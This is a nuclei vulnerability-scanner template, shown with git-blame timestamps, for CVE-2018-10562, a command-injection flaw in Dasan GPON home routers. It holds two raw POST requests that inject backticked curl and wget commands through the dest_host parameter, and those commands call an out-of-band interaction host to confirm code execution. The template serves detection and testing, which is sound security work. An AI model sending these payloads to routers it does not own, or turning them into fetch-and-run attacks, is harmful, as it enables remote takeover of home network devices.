nuclei-templates/cves/2018/CVE-2018-10562.yaml

51 lines
1.8 KiB
YAML
Raw Normal View History

id: CVE-2018-10562
info:
name: Dasan GPON Devices - Remote Code Execution
author: gy741
severity: critical
description: Dasan GPON home routers are susceptible to command injection which can occur via the dest_host parameter in a diag_action=ping request to a GponForm/diag_Form URI. Because the router saves ping results in /tmp and transmits them to the user when the user revisits /diag.html, it's quite simple to execute commands and retrieve their output.
reference:
- https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router
2022-04-05 06:48:20 +00:00
- https://github.com/f3d0x0/GPON/blob/master/gpon_rce.py
2022-04-05 06:43:12 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2018-10562
- https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router/
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2018-10562
cwe-id: CWE-78
tags: cve,cve2018,dasan,gpon,rce,oast,kev
2023-03-29 11:07:38 +00:00
variables:
2023-03-29 14:11:27 +00:00
useragent: '{{rand_base(6)}}'
2023-03-29 11:07:38 +00:00
requests:
- raw:
- |
POST /GponForm/diag_Form?images/ HTTP/1.1
Host: {{Hostname}}
2023-03-29 13:54:19 +00:00
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'`;busybox wget http://{{interactsh-url}}&ipv=0
- |
POST /GponForm/diag_Form?images/ HTTP/1.1
Host: {{Hostname}}
2023-03-29 13:54:19 +00:00
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'`;wget http://{{interactsh-url}}&ipv=0
2022-04-05 06:43:12 +00:00
stop-at-first-match: true
2023-03-29 10:13:50 +00:00
matchers-condition: and
matchers:
- type: word
2023-03-29 10:13:50 +00:00
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
2023-03-29 10:13:50 +00:00
- type: word
part: interactsh_request
words:
2023-03-29 13:54:19 +00:00
- "User-Agent: {{useragent}}"
2023-03-29 10:13:50 +00:00
# Enhanced by mp on 2022/05/12